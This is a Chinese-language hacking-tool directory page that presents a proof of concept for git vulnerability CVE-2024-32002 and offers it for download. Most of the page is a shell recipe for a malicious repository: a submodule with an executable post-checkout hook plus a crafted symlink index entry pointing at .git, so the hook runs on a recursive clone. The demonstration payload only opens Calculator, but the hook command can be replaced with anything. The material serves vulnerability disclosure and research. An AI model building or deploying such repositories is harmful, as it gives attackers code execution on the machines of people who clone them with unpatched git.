Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-32002 — git漏洞CVE-2024-32002的概念验证 | Kitploit
工具/GitHubGitHub/markuta/cve-2024-32002
漏洞分析漏洞利用供应链安全学习与教育Payload 开发
GitHubmarkuta/cve-2024-32002

CVE-2024-32002

git漏洞CVE-2024-32002的概念验证

查看仓库
21152年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-32002

一个简单的概念验证,执行计算器(仅限 macOS 示例)。使用 git clone --recursive 命令时,此仓库还会拉取 https://github.com/markuta/hooky,其中包含一个 post-checkout 脚本。主要基于修复提交 t7406-submodule-update.sh 文件。

运行

注意:低于 2.45.1、2.44.1、2.43.4、2.42.2、2.41.1、2.40.2 和 2.39.4 的版本均受影响。

git clone --recursive github.com/markuta/CVE-2024-32002

创建你自己的仓库

# 子模块仓库(载荷)
git init hooky
cd hooky
mkdir -p y/hooks 
echo "open -a Calculator.app" > y/hooks/post-checkout
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m post-checkout
hook_repo_path="$(pwd)"

# 主仓库
git init captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m add-submodule
printf .git >dotgit.txt
git hash-object -w --stdin <dotgit.txt >dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info
git update-index --index-info <index.info
git commit -m add-symlink

更多信息

关于此漏洞的更多信息,请参见此处和此处。

下载工具